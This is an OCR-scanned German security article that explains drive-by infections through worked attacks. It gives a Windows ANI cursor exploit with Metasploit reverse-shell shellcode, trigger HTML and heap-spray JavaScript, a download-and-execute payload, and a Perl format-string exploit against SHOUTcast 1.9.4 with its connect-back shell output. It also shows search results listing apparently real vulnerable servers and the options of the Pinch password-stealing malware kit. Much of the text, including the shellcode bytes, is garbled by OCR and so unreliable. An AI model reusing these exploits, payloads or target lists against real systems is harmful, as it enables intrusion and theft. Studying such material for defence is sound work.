P1 C B(FFFFFFFF)
Aa B(FFFFFFFF)
Z B(FFFFFFFF)
Address |Hex dump ~ Rl AI
BD A2 A1) 3 A1/S7 46 B4 76| F7 BC A3 A1
BC A2 A y C A3 A1/ 41 BC A2 A1
7S BC A2 A = ] A1/ 98 88 B8 64
F&e 92 [=]Z] 98 a A2 6
2 01 82 A1 » (608 88 88 a8 Do
C& 26 A4 A1 66 88 66 86 8
98 a1 98 BR
@8 8
[%]%]
06| 08 60 98 06
[%]%]
01| Fg 06
5% ag 5%
B 08 08| 08 o
A8 98 68 B %1%
ac a8l 6a 6o 3
17 86 85 21 5 g@ gg @@ 3 g@ ae 7? E1E1E1E
S0 o od 09) a5 g3 o0 20| an 0 00 0o) o0 0 00 0ol ¢ Siciciel v
]Access violation when executing [58585858] - use Shift+F7/F8/F9 to pass exception to program [ Paused I

Abbildung 11: Kontrolle liber eip mittels XXXX

Schreiben wir anstelle der 58585858 einen Wert, der auf eine ,call ebx“ Anweisung zeigt, landen
wir in unserem String. Nach einer ,call ebx“ Anweisung kann in den ebenfalls im Speicher gela-
denen DLL’s gesucht werden. Im Beispiel ist es eine Adresse in urlmon.dll: 0x77283A46. Das
Ergebnis ist im nachfolgenden Bild zu erkennen.
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OllyDbg - explorer.exe - [CPU - thread 00000788] =13
@ File View Debug Plugins Options Window Help
Fald
<

JJ& >lu] wied $4d | + ulE[M{T|w[H|c|/|K[B[R|.. S| i

Reglsters (FPU)
61616161
D EEH gggégg60 ntdll.7C91856D
)X
o EBP, QWORD PTR DS:[ECK+61 EBX 612?E?E6 ASCII "aaa
ESP B8127E728
EBP 61616161
ESI 8127E75C RASC
EDI B127E72C ASC

EIF B127EVESD

t @(FFFFFFFF)
B(FFFFFFFF)
@(FFFFFFFF)
B(FFFFFFFF)

RETURN to urlmon.?7274A7E -

22 BA 98 Al F7 BC A2 A
: BC 62 61 41 BC 62 @
T

a8 88 [%]%]

ad 00

PR B8 B8 68
Qlaa a6 0668 606

|Access violation when executing [0127E7ED] - use Shift+F7/F8/F3 to pass exception to program | Paused

2 I

Abbildung 12: eip zeigt auf den Stack

Indem wir eine Rucksprungadresse auf dem Stack mit der Adresse 77283A46 Uberschrieben
haben, wird die ,call ebx“ Anweisung ausgeflhrt und wir landen in unserem String. Wie in der Ab-
bildung oben zu erkennen ist, zeigt eip auf den Stack. Dies sollte nicht der Fall sein! Folglich
wurde der Programmablauf von uns erfolgreich umgelenkt.

Bleibt lediglich der Payload einzufiigen, der unmittelbar nach dem Ausnutzen der Schwachstelle
ausgefihrt werden soll. Diesen platzieren wir exakt an der Position, an die ebx zum Zeitpunkt des
Programmabsturzes zeigt. Der Offset in der .ani-Datei betragt in diesem Fall 630y,

2.2.3. Der Payload

Wie bereits erwahnt sind verschiedene Tools im Internet verfigbar, mit denen sich ein Payload
generieren lasst. Das wohl beliebteste Werkzeug in diesem Bereich ist Metasploit’, ein frei erhalt-
liches Penetration Testing Framework. Unter anderem Iasst sich damit auch Payload fir unter-
schiedliche Betriebssysteme mit wenigen Mausklicks generieren. Flr das Fallbeispiel erstellen
wir als erstes einen Payload, der eine Verbindung zu einem System des Angreifers aufbaut. Da-
bei wir ein Command Prompt, bekannt als cmd.exe, an den entsprechenden Socket gebunden.
Der Angreifer kann so beliebige Befehle auf dem infizierten System ausfiihren. Dieser Payload-
Typ ist auch unter dem Namen Reverse Shellcode oder Connect-Back Shellcode bekannt. Fir
die Generierung des Payloads sind die IP-Adresse des Angreifersystems sowie eine Portnummer
notwendig. Der Angreifer muss auf seinem System lediglich einen Netcat-Server an eben diesen
Port binden und auf die eingehende Verbindung warten.

" www.metasploit.com
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/* win32_reverse - EXITFUNC=seh LHOST=192.168.180.129 LPORT=8888 Siz
unsigned char scode(] =
"\x31\xc9\x83\xe9\xb8\xd9\xee\xdI\x74\x24 \xf4 \x5b\x81\x73\x13\x54d"
"\x99\xb0\x41\x83\xeb\xfc\xe2\xf4\xal\x£f3\x5b\x0c\xb5\x60\x4f\xbe"
"\xa2\xf9\x3b\x2d\x79\xbd\x3b\x04\x61\x12\xcc\x44\x25\x98\x5f \xca"
"\x12\x81\x3b\x1le\x7d\x98\x5b\x08\xd6\xad\x3b\x40\xb3\xa8\x70\xd8"
"\xfl\x1d\x70\x35\x5a\x58\x7a\x4c\x5c\x5b\x5b\xb5\x66\xcd\x94\x69"
"\x28\x7c\x3b\x1e\x79\x98\x5b\x27\xd6\x95\xfb\xca\x02\x85\xbl\xaa"
"\x5e\xb5\x3b\xc8\x31\xbd\xac\x20\x9%e\xa8\x6b\x25\xd6\xda\x80\xca"
"\x1d\x95\x3b\x31\x41\x34\x3b\x01\x55\xc7\xd8\xcf\x13\x97\x5¢c\x11"
"\xa2\x4f\xd6\x12\x3b\xf1\x83\x73\x35\xee\xc3\x73\x02\xcd\x4£\x91"
"\x35\x52\x5d\xbd\x66\xcI\x4£f\x97\x02\x10\x55\x27 \xdc\x74 \xb8\x43"
"\x08\xf3\xb2\xbe\x8d\xf1\x69\x48\xa8\x34\xe7\xbe\x8b\xca\xe3\x12"
"\x0e\xda\xe3\x02\x0e\x66\x60\x29\x9d\x31\x04\xc0\x3b\xf1\x92\x£f9"
"\x3b\xca\x39\xa0\xc8\xf1\x5c\xb8\xf7\xf9\xe7\xbe\x8b\xf3\xa0\x10"
"\x08\x66\x60\x27\x37\xfd\xd6\x29\x3e\xf4\xda\x11\x04\xb0\x7c\xc8"
"\xba\xf3\xf4\xc8\xbf\xa8\x70\xb2\xf7\x0c\x39\xbc\xa3\xdb\x9d\xbf"
"\x1f\xb5\x3d\x3b\x65\x32\x1b\xea\x35\xeb\x4e\xf2\x4b\x66\xc5\x69"
"\xa2\x4f\xeb\x16\x0f\xc8\xel\x10\x37\x98\xel\x10\x08\xcB8\x4£f\x91"
"\x35\x34\x69\x44\x93\xca\x4f\x97\x37\x66\x4f\x76\xa2\x49\xd8\xa6"
"\x24\x5f\xc9\xbe\x28\x9d\x4f\x97\xa2\xee\x4c\xbe\x8d\xf1\x40\xcb"
"\x59\xc6\xe3\xbe\x8b\x66\x60\x41";

Abbildung 13: Connect-Back Shellcode auf System 192.168.180.129

Bis zu diesem Zeitpunkt ist die Analyse stets beim Explorer erfolgt. Die Schwachstelle soll aber
direkt Gber das Internet ausnutzbar sein. Deshalb muss der Exploit auch lGber den Internet Explo-
rer funktionieren. Mit dem nachfolgenden HTML-Code wird dies maoglich:

<html><head></head>

<body style="CURSOR: url(’evilanifile.ani’)“>
</body>

</html>

Ruft das Opfer eine Webseite auf, die diesen Code beinhaltet, wird der Exploit und damit der
Payload automatisch ausgefiihrt. Das Ergebnis ist in der nachfolgenden Abbildung ersichtlich:

QAppIications Places System e@o wl 3 & training ©4 Fri Apr 25, 6:06 AM
r - -

raiMmNoELraining=desKLop: = ) (o0 ) [E:34)
File Edit View Terminal Tabs Help
training@training-desktop:~$ sudo nc -vip 8888

[sudo] password for training:

listening on [any] 8888 ...

192.168.180.128: inverse host lookup failed: Unknown host

connect to [192.168.180.129] from (UNKNOWN) [192.168.180.128] 1159
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

[»)

C:\Documents and Settings\frosch\Desktop>]]

[

[ training@training-de... ]

Abbildung 14: Angreifer erhélt einen Command Prompt
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2.2.4. Umwandlung des Exploits in eine klassische ,,Drive by Infection

Obwohl der Exploit auf dem Testsystem einwandfrei funktioniert, fehlen fur eine klassische ,Drive
by Infection“ zwei wesentliche Anforderungen:

* der Payload muss skalieren
* der Exploit soll zuverlassig funktionieren

Der gewahlte Payload skaliert sicherlich nicht, keine Frage. Doch mittels Metasploit 1asst sich auf
dieselbe Weise ein so genannter ,Download and Execute“-Payload kreieren. Dabei wird eine
ausfuhrbare Datei von einem externen Server mittels http herunter geladen und anschliessend
auf dem System ausgefuhrt. Dies geschieht mittels der Funktion URLDownloadToFile. Die Datei
wird dabei in das Systemverzeichnis unter dem Namen a.exe abgelegt und ausgefuhrt. Sofern
der Webserver und die entsprechende Datei lange online sind oder der Angreifer mehrere URL’s
angegeben hat, skaliert die Losung.

3 - [5]x]
W |
L
Lﬂ LEL’ ' /7 Search < Favorites &4 Tz W - Si i‘s
address |&] http:ffwww.myvictim,comfindex.htel v aGo Links *

Drive by Infection Demo

ANI explott - connect back shellcode
ANT explott using heap spraying - connect back shellcode
ANT explott - download and execute payload

cv C:\WINDOWS\system32\cmd.exe

C:\WINDOWS\system32>dir a.exe
Uolume in drive C has no label.
Uolume Serial Number is 5C57-8BE13
Directory of C:\WINDOWS\system32
File Not Found

C:\WINDOWS\system32>_

)
14 Start B3 XAMPP ControlPanel ... o C:\WINDOWSsyste... N R ) 17:45

Abbildung 15: Vor anklicken des Links

Wie in Abbildung 15 zu sehen ist, befindet sich vor dem Angriff keine Datei a.exe auf dem Sys-
tem. Klickt der Benutzer in diesem Fall auf den dritten Link, wird von einem Server die Datei mal-
ware.exe herunter geladen und ausgefuhrt. Zu Demozwecken wurde dazu der Calculator
(calc.exe) genommen. Nach dem Angriff bietet sich dementsprechend folgendes Bild:
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434D

58 56 .-
%12 50 b

E calculator Q@\@ ",\

Edit View Help

0.

SI! OHex ®Dec O0ct OBin ® Degees O Radians O Grads il @l
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JFile Not Found

C: \'.JINDOUS\»yQtem32>d1x a.exe
Uolume in drive C has no label.
Uolume Serial Number is 5C57-8E13

Directory of C:\WINDOUWS\system32

25.084.2008 17:45 114’688 a.exe

1 File<(s> 114’688 hytes

8 Dirds> 1’789°9066°’ 944 hytes free ﬁ
C:\WINDOWS\system32> . RecycleBin

1y Start [ ox CAWINDOWStsyste. . [ calculator N R ) 17:45

Abbildung 16: Download and execute calc.exe

Anders sieht es hingegen bei der Zuverlassigkeit des Exploits aus. Dieser funktioniert zwar ein-
wandfrei auf dem Testsystem. Um aber auf mdglichst vielen Systemen Code auszufihren, ist ei-
ne Einschrankung vorhanden:

die gewéhlte Adresse der ,call ebx“-Anweisung!

Diese zeigt im Beispiel auf eine Adresse innerhalb von urlmon.dll. Das Problem: Je nach Be-
triebssystemversion (Windows 2000, Windows XP usw.), dessen Patchstand oder der Sprach-
version unterscheiden sich die DLL’s. An der von uns gewahlten Adresse 77283A46 mag sich
eine ,call ebx“-Anweisung auf einem englischen Windows XP, SP2 System befinden. Bei ande-
ren Versionen ist dies jedoch nicht der Fall. Fur eine klassische ,Drive by Infection® ist dies unge-
nidgend.

Der Angreifer kdnnte zwar nach einer Adresse suchen, die bei vielen potenziellen Zielsystemen
auf eine ,call ebx“ Anweisung zeigt. Dies ist aber extrem mihsam und selten erfolgreich. Aller-
dings gibt es einen weiteren Weg, den Exploit wesentlich zu verbessern: Heapspraying! Diese
Technik funktioniert dabei wie folgt:

- Der Angreifer fiillt den Heap mit bestimmten Zeichenblécken. Diese miissen gliltige
Assembleranweisungen aufweisen, die nicht zum Absturz fiihren und nacheinander
abgearbeitet werden kénnen (sie iibernehmen damit die Funktion von NOP’s®).

- Am Ende dieser NOP-Zeichen fligt der Angreifer den Payload an.

- Die Riicksprungadresse wird nicht mehr mit einer ,call ebx"“-Adresse liberschrieben,
sondern mit einer Adresse auf dem Heap.

- Der Angreifer kann die Adresse selber wéhlen, da er auch den Heap nach seinem
Geschmack fiillen kann.

® http://en.wikipedia.org/wiki/Nop
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Das nachfolgende Bild (siehe Quellenangabe) zeigt, was beim Heapspraying genau passiert:

High address

to Ox7fffffff
M e e e

I
I— -Other structures— =
! |

Landing here
3c0dff7d

ﬁ

R —
06ab0000

1 I
+— -Other structures— —
1 I

Before spray the

heap
Low address

to 0x00000000

High address

to Ox7fffffff
A —

I
:— -Other structures—
! |

Landing here
3c0dff7d

ﬁ

—_—
06ab0000

:— -Other structures— —:
I

After spray the
heap

Low address Createby Freedom

to 0x00000000
June 26, 2006

} nop + shellcode

(http://sf-freedom.blogsplot.com)

Abbildung 17: Heapspraying

Der Exploit ist in so einem Fall nicht mehr die .ani-Datei. Diese dient nur noch dazu, die Rick-
sprungadresse mit den gewlnschten Zeichen zu Uberschreiben. Der eigentliche Payload wird mit
JavaScript-Code auf dem Heap platziert. Anschliessend wird die .ani-Datei referenziert. Der Ex-

ploit sieht dann wie folgt aus:

<I--

ANI Exploit, basiert auf Internet Exploiter beziehungsweise dessen Heapspraying-Technik von

Berend J. Weaver

-—->
<html>
<head>
</head>
<script>

shellcode = unescape("%ucccc...");

bigblock = unescape("%u4141%u4141");

headersize = 20;

slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace)bigblock+=bigblock;

fillblock = bigblock.substring(0,slackspace);

block = bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block = block+block+fillblock;

memory = new Array();

for (i=0;i<700;i++) memory[i] = block + shellcode;
document.write("<body style=\"CURSOR: url('download_exe_heap.ani’)\">");

</script>

<body>How are you today?
</body>

</html>
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2.3. Schwachstellen in Webapplikationen

Nachdem der Angreifer Uber einen funktionierenden Exploit und den entsprechenden Payload
verfigt, muss er diesen unter die Leute bringen. Wie bereits erwahnt, erfolgt dies durch Einfigen
eines IFrame-Elements in eine Webseite. Dazu nutzen Angreifer Schwachstellen in Webapplika-
tionen aus. Diese reichen von einfachen SQL-Injection Uber Konfigurationsfehler bis hin zu kom-
plexen Bufferoverflow-Schwachstellen.

2.3.1. Mass SQL-Injection

In der jingeren Vergangenheit sind viele Webseiten via SQL-Injection kompromittiert worden.
Solche Schwachstellen entstehen — wie so haufig - durch fehlende oder falsche Uberpriifung von
Benutzereingaben. Ein Beispielvideo einer SQL-Injection Attacke ist unter dem folgenden Link®
zu finden. Es zeigt anschaulich, wie SQL-Injection funktioniert. Zudem wird ersichtlich, dass sich
client-seitige Uberprifungen von Benutzereingaben stets umgehen lassen.

Ist eine SQL-Schwachstelle gefunden, fiigen Angreifer beispielsweise ein IFrame an jede in der
Datenbank vorhandene Zeichenkette an. Neil Carpenter von Microsoft hat einen dhnlichen Angriff
in seinem Blog beschrieben'. Damit lassen sich hunderte von Webseiten automatisiert veran-
dern. Besucht jemand die so manipulierten Webseiten, wird der IFrame-Inhalt automatisch nach-
geladen und das System, sofern eine Schwachstelle vorhanden ist, infiziert.

2.3.2. Veraltete Software

Neben SQL-Injection ist der Einsatz veralteter Software ein haufiger Grund fir Systemeinbriiche
in Webserver. ,Never touch a running System®. Diesen Leitsatz scheint man vor allem im Webbe-
reich zu befolgen. Teilweise verstandlich, da man sich mit jedem Update neue Probleme einfan-
gen kann. Die Verfuigbarkeit spielt nach wie vor eine gréssere Rolle als die Sicherheit. Allerdings
macht man es den Angreifern damit einfach. Haufig sind funktionierende Exploits fur eine
Schwachstelle seit Monaten oder gar Jahren im Internet zuganglich. Selbst unerfahrene Angreifer
kénnen diese, je nach Qualitat des Exploits, anwenden.

Fallbeispiel: die Schwachstelle

Wie einfach dies ist, wird im Folgenden an einem konkreten Beispiel aufgezeigt. Als fehlerhafte
Applikation dient in diesem Fall der shoutcast-Server Version 1.9.4. Dabei handelt es sich um
eine kostenlos erhéaltliche Audiostreaming-Ldsung fir Windows, Linux und Mac OS X. Diese
weist unter anderem eine so genannte Formatstring-Schwachstelle auf. Exploits sind fir Win-
dows und Linux auf milwOrm.com'" verfiigbar. Nachfolgend wird gezeigt, wie einfach die Entwick-
lung eines Exploits fur Mac OS X ist. Wir gehen hier nicht im Detail auf Formatstring-Schwach-
stellen ein. Fir den interessierten Leser sei hier auf mein Buch ,Hacking & IT-Security*'? ver-

wiesen, das sich detailliert mit dieser Problematik auseinandersetzt.

Bei einer Formatstring-Schwachstelle werden Benutzereingaben in der einen oder anderen Form
an eine Formatfunktion wie beispielsweise printf() Ubergeben. Fehlt bei printf() der entsprechende
Formatparameter, kann der Angreifer Daten aus dem Speicher lesen oder in den Speicher
schreiben. Dadurch ist es moglich, beliebigen Code auszufihren. Im Falle des shoutcast-Servers

® http://www.youtube.com/watch?v=MJNJjh4jORY

" http://blogs.technet.com/neilcar/archive/2008/03/15 /anatomy-of-a-sql-injection-incident-part-2-meat.aspx
" http://www.google.ch/search?hl=de&q=exploit+shoutcast+1.9.4&btnG=Suche&meta=

2 http://www.amazon.de/Security-Hacking-Fortgeschrittene-Angriffstechniken-
demonstriert/dp/3833445556/ref=sr_1_2?2ie=UTF8&s=books&qid=1211286822&sr=8-2
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werden Teile einer Benutzeranfrage an eine sprintf() Funktion Ubergeben. Dort fehlte der notwen-
dige Formatparameter %s. Der Fehler |asst sich durch eine Telnet-Verbindung auf Port 8000 (der
standardmafiig implementierte Port) und der unten aufgefuhrten Zeichenfolge erzeugen:

gringo@merlin:~/book/ >telnet 192.168.99.212 8000
Trying 192.168.99.212...

Connected to 192.168.99.212.

Escape character is "\’

GET /content/%x %x%x%x.mp3

Das Resultat auf Serverseite sieht entsprechend wie folgt aus.

<04/18/05@17:13:29> [file: 192.168.99.203] ./content/02effffffcd1.mp3
<04/18/05@17:13:29> [dest: 192.168.99.203] Invalid resource request(/content/02effffffcd1.mp3)
<04/18/05@17:14:01> [sleeping] O listeners (0 unique)

Durch Verwendung der Formatparameter %x lassen sich Speicherbereiche des fehlerhaften Pro-
gramms auslesen. Fur einen erfolgreichen Angriff gilt es als nachstes zu ermitteln, wo der Uber-
mittelte String auftaucht. Dazu wird die Anzahl der Formatparameter %x erhoht:

gringo@merlin:~/book/ >telnet 192.168.99.212 8000

Trying 192.168.99.212...

Connected to 192.168.99.212.

Escape character is "\’

GET /content/aaaa%x %x %x%x %x %x %x Yox %ox Yox %ox %o x %ox Yox Y%ox %ox %ox.mp3

Die Konsultation des Lodgfiles zeigt, dass unser String nach Eingabe von 17 Formatparametern
angezeigt wird (61616161 am Ende der Zeichenkette):

<04/18/05@17:18:01> [dest: 192.168.99.203] Invalid resource request(/content/aaaa)
<04/18/05@17:18:29> [file: 192.168.99.203]
/content/aaaa02effffffcd130cfbd0000000000061616161.mp3

<04/18/05@17:18:29> [dest: 192.168.99.203] Invalid resource

request(/content/aaaa0 2effffffcd 130cfbd0000000000061616161.mp3)

Als nachstes ist die Lage unseres Strings zu ermitteln. Dies ist unter Verwendung des %n For-
matparameters und gleichzeitiger Analyse mit einem Debugger relativ einfach:

gringo@merlin:~/book/ >telnet 192.168.99.212 8000

Trying 192.168.99.212...

Connected to 192.168.99.212.

Escape character is "\’

GET /content/aaaaaaaaaaaaaa....aaaaaaaaaaaaaaaa%n.mp3

Nach dem Programmunterbruch taucht die Ubergebene Zeichenkette in unserem Fall an Adresse
0xf0182200 auf:

(9db)x/200x $r1

0xf01821f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf0182200: 0x61616161 0x61616161 0x61616161 0x61616161
0xf0182210: 0x61616161 0x61616161 0x61616161 0x61616161
0xf0182220: 0x61616161 0x61616161 0x61616161 0x61616161
0xf0182230: 0x61616161 0x61616161 0x61616161 0x61616161
0xf0182240: ...

Dies ist die ungefahre Position, an die wir springen missen. Ungeféhr deshalb, weil der String fur
den endgultigen Exploit noch anzupassen ist und sich so auch die Position des Shellcodes in
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Richtung der héheren Adressen verschiebt. Doch fir den Moment sind diese Informationen aus-
reichend. Stellt sich nur noch die Frage, wie wir den Programmablauf umlenken kdnnen. Hier
sind mehrere Optionen denkbar, wie beispielsweise der Eintrag der sprintf-Funktion in der GOT

Section. Ich fir meinen Teil habe mich fir die Ricksprungadresse der aufrufenden Funktion ent-
schieden.

(gdb) bt

#0 0x90004364 in __ vfprintf ()

#1 0x90007390 in sprintf ()

#2 0x90007390 in sprintf ()

#3 0x00004358 in ?? ()

#4 0x90024910 in _pthread_body ()

(gdb) frame 2

#2 0x90007390 in sprintf ()

(gdb) info frame

Stack level 2, frame at 0xf0182070:

pc = 0x90007390 in sprintf; saved pc 0x4358

called by frame at 0xf01821a0, caller of frame at 0xf01819c0
Arglist at 0xf0182070, args:

Locals at 0xf0182070, Previous frame's sp is 0xf01821a0
Saved registers:

r26 at 0xf0182188, r27 at 0xf018218c, r28 at 0xf0182190, r29 at 0xf0182194, r30 at 0xf0182198,
r31 at 0xf018219c, pc at 0xf01821a8, Ir at 0xf01821a8

Entscheidend ist die Adresse des Ir-Registers. Damit haben wir die notwendigen Informationen
fur einen ersten Test beisammen. Die unten aufgefiihrten Perlzeilen kreieren eine Zeichenkette,
mit der die Adresse 0xf01821a8 lUberschrieben wird.

$request= ,\Xf0\x18\x21\xa8\xf0\x18\x21\xa7*.
L, \XfO\x18\x21\xa6\xf0\x18\x21\xa5".

S$request .=(,%x“x16);

$request .=(,%n%n%n%n.mp3*);

Auf Serverseite wird dies durch den Debugger bestatigt:

Program received signal EXC_BAD_ACCESS, Could not access memory.
[Switching to process 655 thread 0xf03]
0x2d2d2d2c in ?? ()

(gdb) x/4x 0xf01821a8
0xf01821a8: 0x2d2d2d2d 0x00000000 0x00000000 0x00000000

Der Wert 0x2d2d2d2d ergibt sich aus der Anzahl der Ubermittelten Zeichen. In diesem Fall erfol-
gen vier Schreiboperationen. Allerdings kann dies auch in lediglich zwei Schreiboperationen er-
folgen. Als Demonstration wird dieselbe Adresse mit dem von uns ermittelten Wert der Shell-
codeadresse (0xf0182200) Uberschrieben. Nachfolgend die entsprechenden Perlzeilen:

$request=,\xf0\x18\x21\xaaabcd\xfO\x18\x21\xa8"

$request .=(,%x" x16);
$request .=(,aaaa%.8660x%.hn%.52760x%.hn.mp3*);

Wiederum folgt die Ausgabe des Shoutcast-Servers zum Vergleich:

Program received signal EXC_BAD_INSTRUCTION, lllegal instruction/operand.
[Switching to process 737 thread 0xf03]
0xf0182200 in ?? ()

(gdb) x/4x 0xf01821a8
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0xf01821a8: 0xf0182200 0x00000000 0x00000000 0x00000000

Der unten aufgefiihrte Exploit nutzt einen Connect-Back-Shellcode des Metasploit Frameworks,
um eine Verbindung zum System des Angreifers aufzubauen.

#l/usr/bin/perl

use Socket;
use Getopt::Std;

getopts(,h:“\%args);

if(! defined $args{h})

{
print ,usage: shoutcast_macosx_exploit.pl -h <target_host> \n\n*;
exit;

}
$target_host=$args{h};
$shellcode=(,\x60x63);

$shellcode .=( # connect back shellcode, thanks to metasploit team

,\x7¢c\xab\x2a\x79\x40\x82\xff\xfd\x 7f\xe 8\x02\xa6\x3b\xfAxd0\xOc*.

,\X38xa5\x30\x30\x3c\xc0\x24\xd5\x60\xc6\xa5\xde\x81\x 1fx30\x30“.

L, \X7d\x04\x32\x79\x90\x9f\x30\x30\x 7¢c\x05\xf8\xac\x 7c\xfAix04\xac*”.

L, \X7¢c\x05\xffixac\x3b\xcd\xef\xd4\x 7\xff\xf2\x 14\x40\x82\xff\xe0“.

L \x4c\xffix01\x2c\x1c\xb5\xa5\xdc\x 1c\x55\xab\xdf\ix 1¢c\x 75\xa5\xd 8",

L,\Xx1c\xd5\xab\xbf\x60\xd5\xa5\xdc\x58\xd5\xa7\xab6\x58\xab\xbe\xa6“.

,\x6c\xd5\xab\xd3\x24\xd7\x87\x66\xe4\x7d\xc6\x 15\x58\x5d\xa7\x 78",

L\x1c\x75\xab\xce\x1c\xd5\xa5\xbe\x5b\x 16\x56\xa6\x60\xd5\xab\xdc”.
\
\
\
\
\
\
\

e e o — =

— =

L, \x58\xd5 xab\x71c\x75\xa5\xdc\x71c\xd5\xa5\x84\x5b\x 16\x56\xa6“.
,\x58\x71 xab\x60\xd5\xa5\xdc\x58\xd5\xa7\xab\x1c\x70\x5a\x21“.
,\x08\xd0 21\x64\x57\x5a\x3b\x 1c\xd5\xa5\x9¢c\x60\xd5\xab\xdc”.
,\x58\xd5 ab\x58\x70\x8f\xa7\x64\x57\x5a\x23\x58\xbd\xa7\x78".
,\x71c\xb6\xab\xfe\xb4\xb4\x5a\x26\xb4\x74\x5a\x22\x 1c\x54\x5a\x26“.
L\x1c\xd5\xab\xe5\x58\xd5\xa1\x72\x60\xd5\xa5\xdc\x0b\xb 7\xcc\xbO*.
»\X0b\xb6\xd6\xb6\x24\x94\xe4\x9f\x24\xd5\xa5\xde");

\xa7\
\x8e\xa
\x5a\
\xa7\

— = — =

\xa
X
X
\xa

= = =

$shellcode .=(,\x60“x60);

$request=(,\xfO\x18\x21\xaaabcd\xf0\x18\x21\xa8");

$request .=(,%x"x16);

$request .=(,aaaa%.8744x%.hn%.52676x%.hn$shellcode.mp3*); # Wert 0xf0182254
$url=,GET /content/$request HTTP/1.1\n\r\n\r*;

print ,sending (un)ethical string...\n"

print sendraw($url);

# code taken from rfp's msadc.pl exploit

sub sendraw {

my ($pstr)=@_;

my $target;
$target=inet_aton($target_host) || die(,inet_aton problems*);
socket(S,2,1,getprotobyname(‘tcp’)||0) || die(,Socket problems\n®);
if(connect(S,pack ,,SnA4x8“ 2,8000, $target)){
select(S); 3|=1;
print $pstr;
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@in=<8>;
select(STDOUT); close(S);
return;

}

else { die(,Can't connect...\n"); }

3| suse_8_0 - VMware Workstation =Jo E

: Flle Edt WView Y¥M Power Snapshot Windows Help

il ()@ @ st Bireer |0 B B
suse_8_0

= + Shell - Konsole <2> T O x
Session Edit View Settings Help

gringoBmerlin:™/own_exploits> ./shoutcast_macosx_exploit.pl -h 192.168.99.212
sending (un)ethical string...
gringoBmerlin:™/own_exploits> []

K103 NIl

&y [ rm]

Session Edit View Seftings Help

gringoBmerlin:™/pentest/netcat> ./nc -vv -1 -p 8888
listening on [anyl 8888 ...

192.168.99.212: inverse host lookup failed: Host name lookup failure : Connectig)
n refused

connect to [192.168.99.203] from (UNKNOWN) [192.468.99.212] 50687
uname -a

Darwin R2DZ.local 7.8.0 Darwin Kernel Version 7.8.0: Wed Dec 22 14:26:17 PST 200
i; root:xnu/xnu-517.411.1.0bj"1/RELEASE_PPC Power Macintosh powerpc

AR ARG = I

=1
Abbildung 18: Exploit fiir die Formatstring-Schwachstelle von SHOUTcast

Man mag sich zu Recht fragen, wie relevant eine mehr als vier Jahre alte Schwachstelle im Jahr
2008 noch ist, als dieser Artikel entstand. Der folgende Abschnitt gibt die Antwort.

2.3.3. Google-Hacking

Teilweise liefert eine google-Abfrage bereits Unmengen von fehlerhaften Webseiten. Als Beispiel

sei wieder der shoutcast-Server 1.9.4 erwahnt. Anfallige Webserver lassen sich mit Hilfe einer
Suchmaschine anzeigen:
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SHOUTcast Administrator - [ Diese Seite iibersetzen ]

U SHOUTcast D.N.A.S. Status. SHOUTcast Server Version 1.9.4/SolarisSparc ... Stream
IRC: #shoutcast. Current Song: DJ Mike Llama - Llama Whippin' Intro ...
148.166.128.100:8200/ - 5k - Im Cache - Ahnliche Seiten

SHOUTcast Administrator - [ Diese Seite (ibersetzen ]

U SHOUTcast D.N.A.S. Status. SHOUTcast Server Version 1.9.4/SolarisSparc
Song History, |, Listen ... Stream IRC: #shoutcast. Current Song: ...
206.159.128.128:8500/ - 5k - Im Cache - Ahnliche Seiten

SHOUTcast Administrator - [ Diese Seite (ibersetzen ]

U SHOUTcast DNAS Status. SHOUTcast Server Version 1.9.4/win32 ... Stream IRC:
#shoutcast. Current Song: Activa Fm 89.90 Rivera - Pure Energy ...
activafm.servemp3.com:8000/ - 5k - Im Cache - Ahnliche Seiten

SHOUTcast Administrator - [ Diese Seite (ibersetzen ]

U SHOUTcast DNAS Status. SHOUTcast Server Version 1.9.4/win32  Status, |, Song
History, |, Listen, |, Stream URL ... Stream IRC: #shoutcast. Current Song: ...
live.onestreaming.com:8064/ - 5k - Im Cache - Ahnliche Seiten

SHOUTcast Administrator - [ Diese Seite (ibersetzen ]

U SHOUTcast DNAS Status. SHOUTcast Server Version 1.9.4/win32 = Status, |, Song
History, |, Listen, |, Stream URL, |, Admin Login ...

jbcast.jpbmsg.com:8000/ - 5k - Im Cache - Ahnliche Seiten

Abbildung 19: google-Abfrage nach verwundbaren Systemen

Status, |,

Dies gilt fur hunderte von bekannten Schwachstellen in Webapplikationen. Eine Suchmaschine
und der entsprechende Exploit gentigen bereits. So ist es fur Angreifer ein Leichtes, die Webseite
zu kompromittieren und ein IFrame einzuflgen.

24,

Schadcode

Bleibt als letztes Element der eigentliche Schadcode. Im Internet sind dazu Malware-Kits kosten-
pflichtig erhaltlich. Mit ein paar Mausklicks lasst sich Schadcode mit beliebigen Funktionen zu-
sammenstellen. Ein Beispiel eines solchen Malware-Kits ist Pinch'®. Die folgenden Abbildungen
zeigen einige der zur Verfligung stehenden Optionen.

&2 Pinch 2 PRO builder

File About Build 2.60

&2 Pinch 2 PRO builder

File About Build 2.60

BV =8 BTN pinch) 2iprof

= Protocol Protocol
MTP H\TP | FILE
—l OSMTP OHTTP @ FILE OSMTP @HTTP  QFILE
SMTP Properties : ere ‘
erver b v| Pott | URL:  |http://diopzone.tid M|

From: iviclim - v ; To attacker@attack.td Allowtoresolve [P [JAddCID  Status check str: | _ret_ok_1 v|
Suhiecl:TPasses from Pinch 2 & ‘ Interval: 1 {?} File name. | Pass.bin v\

PwD Run | Sy | NET | BD | ete | ki PwD | Run | sy | NET | BD | e | K

IE | Worm | IRC-bot IE Worm | IRC-bat
Password decrypt options Features for !E = =
ICO9%b-2002a  []ICO2003allite  []Miandavicq Trusted sites [ Host file Add favorites
i ‘ ‘
The Bat! [J&RQ [ Trillian 1CQA41M - - ————
myattacker.tid mybanking.tld

Protected storage [ RAS [C]'Wwin/T otal Commander

FAR FTP) [JCute FTP [[] System info

Becky [CJE-Dialer [ Mozila | |

[ Opera CIws FTP [[] Pack report (aPlib) Start page: ihtlp:/!rqyskarl.tld v |
Enable Pw/D [] Crypt report [ Don't send old report Search: [h"":’/9°°,°9'e-"d N8|
[JEncrypt [ Packing: [JEncypt [] Packing:

Abbildung 20: Ubermitteln der aufgezeichneten Daten

" http://pandalabs.pandasecurity.com/archive/PINCH_2C00_-THE-TROJAN-CREATOR.aspx
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Beispielsweise lasst sich einstellen, welche Daten aufgezeichnet werden und in welcher Form sie
